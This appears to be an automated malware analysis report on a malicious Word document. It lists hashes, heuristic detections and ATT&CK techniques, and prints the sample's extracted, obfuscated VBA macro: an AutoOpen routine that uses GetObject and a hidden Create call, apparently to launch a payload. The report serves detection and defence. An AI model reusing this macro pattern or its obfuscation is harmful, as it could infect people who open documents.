Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 12a2532da58f7b53…

MALICIOUS

Office (OLE)

155.9 KB Created: 2019-03-21 15:07:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: ab2d8c9678a0a9cbc55fd27d8eec90d3 SHA-1: eedf47eefeced79b8a09f6b16f73728fe72b79e1 SHA-256: 12a2532da58f7b531bc4d06c2c930ddae87b1e4a92d3d007825dddefd28431db
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that triggers an AutoOpen event. The macro utilizes a GetObject call and appears to be designed to download and execute a secondary payload, as indicated by the critical ClamAV detection and the presence of obfuscated VBA code. The specific intent of the script is to execute arbitrary code, likely for further exploitation.

Heuristics 7

  • ClamAV: Doc.Malware.Dsdu-6904698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dsdu-6904698-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11484 bytes
SHA-256: 7b96ce6c964ec9aceb50250706adecade1c1a7df40a57d5e0b093d3d78a46302
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zUAXwXAo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UkB44A_"
Attribute VB_Base = "0{C2A45E56-E8BC-47A5-B0DC-8C77BD2DA978}{8A3C4FBA-C845-4D5B-8CAF-19C4BCC6F162}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PGACXDB"
Sub autoopen()
On Error Resume Next
   If mGoAAUo = ZAADQUB Then
   uABAxAZA = (10512607)
   XAkwGAD = (qkXAQC * CInt(389306673 _
+ Atn(195274949 * HwAAcAA)) + DBoUAAX + CDbl(MUU41AkA - Sqr(wDA1UD1w / _
CBool(709472841 / 913185019) + AxA_wCAA - Rnd(b_CAAQA))) * 491489548 * 1998501)
   zD4AQXxA = (517957526)
End If
   If oAoAUUok = pUAwQBA Then
   JZxDB1 = (311817781)
   bkBGGBUX = (TQAA4_xA * CInt(537945349 _
+ Atn(60049522 * iBcAXQA1)) + LCBGoA + CDbl(q4AQD_ - Sqr(VoBkQk / _
CBool(254720498 / 677039697) + iADAAwA1 - Rnd(jC4BADAA))) * 528418943 * 58183471)
   NCAUAQ1 = (103066395)
End If
Set mDDocGQc = GetObject(XUUAAxXx + UkB44A_.BQABAQAX + RQCAA_)
   If vQB4AowA = nZcAAA1 Then
   JDAQQwAZ = (625218206)
   T1wAQCC = (j_AUB1 * CInt(15841876 _
+ Atn(972932330 * PADGCA)) + BUBU4D + CDbl(XADAQwGA - Sqr(LQGww1A_ / _
CBool(370981849 / 360892061) + OABUow_ - Rnd(DZoBAADU))) * 59178621 * 603141392)
   Mk_4AA1 = (257279409)
End If
   If DAGcAAA = aAABQk Then
   rUD1oC = (377908979)
   CAQ_Ax = (WAADDAA * CInt(131243702 _
+ Atn(409057128 * tAXAAC)) + SAXC1A + CDbl(LQQBADx - Sqr(MG_AAA_1 / _
CBool(298597799 / 73482183) + EAQAow1w - Rnd(QXA44oA))) * 436742950 * 786734372)
   aU1UDD = (103327149)
End If
   If mkGADX = XAAXGo Then
   B1ZAkkDA = (606613638)
   ZAUcAxA = (KA1QZAo * CInt(790188634 _
+ Atn(140126788 * QA_QBAA)) + mA_cAAA + CDbl(qXADo44 - Sqr(b1wBQ_AA / _
CBool(339156163 / 961295275) + iGxoQ_ - Rnd(uXDAkA))) * 950559554 * 24194851)
   sAoQAA = (400888718)
End If
mDDocGQc.ShowWindow = 441614 - 441614
   If zADDCAA = QUAGQ4BD Then
   MGA4DBQ = (656530157)
   TDAQQD = (MAwAUAAc * CInt(569301235 _
+ Atn(513129925 * J_A1BAAA)) + IZAAZCA + CDbl(VkQBUAk1 - Sqr(UcADDAA / _
CBool(79562255 / 498649511) + lAAUBAAB - Rnd(C14oUU))) * 619833876 * 553374857)
   hwA4QAk = (805717099)
End If
   If ODADBA = zZAAoAcU Then
   NcXAkU = (121133189)
   pCADcx = (zABGAQU * CInt(540752684 _
+ Atn(887927430 * EkoBAA)) + u_wUw4A + CDbl(jkAUkBAo - Sqr(LXZAwwC / _
CBool(169431440 / 153835992) + zwBBBDU - Rnd(DkACAAk))) * 790196831 * 954529924)
   jGAXwUwc = (158843388)
End If
GetObject(wDAAZA1_ + UkB44A_.HQAoAAAB + DAD1QDZ). _
Create@ L4AUA_ + UkB44A_.WAX1BGo + WoAA1AD + UkB44A_.RA_AoAAQ + OB4cGAZ + UkB44A_.YADUZAD + VDCoBZx, HoA1_D, mDDocGQc, f4XQUU1C
   If hUkAAAAo = LDAAAGQ Then
   zU_QoQk = (208091472)
   ZAUBZDc_ = (hDAAGDxX * CInt(479552722 _
+ Atn(567560704 * NAA1XXw)) + kAcwAZ + CDbl(pQXkxQ - Sqr(HoQQAABk / _
CBool(116136934 / 642053641) + LAQwB_ - Rnd(zDABwc))) * 684443370 * 807029035)
   Mo_ZA1 = (703202071)
End If
   If jwAAZZ = ZBZQDk1 Then
   zwoAAAcA = (112043713)
   iGAAAUA = (lQAAkXX1 * CInt(894233334 _
+ Atn(922442554 * m_CQ_kCA)) + VDCCAA + CDbl(TCABw_ - Sqr(BQcGAXoA / _
CBool(915969555 / 186348763) + NBXDwZk - Rnd(JDUCBQ))) * 294005990 * 573737662)
   ZAADUD = (89542904)
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/ff91883da0b04738a19f1afb26b7c260.bin
' ===============================================================================
' Module streams:
' Macros/VBA/zUAXwXAo - 1106 bytes
' Macros/VBA/UkB44A_ - 1157 bytes
' Macros/VBA/PGACXDB - 5364 bytes
' Line #0:
' 	FuncDefn (Sub PGACXDB())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld mGoAAUo 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	LitDI4 0x68DF 0x00A0 
' 	Paren 
' 	St ZAADQUB 
' Line #4:
' 	LineCont 0x0008 08 00 00 00 1B 00 00 00
' 	Ld
... (truncated)

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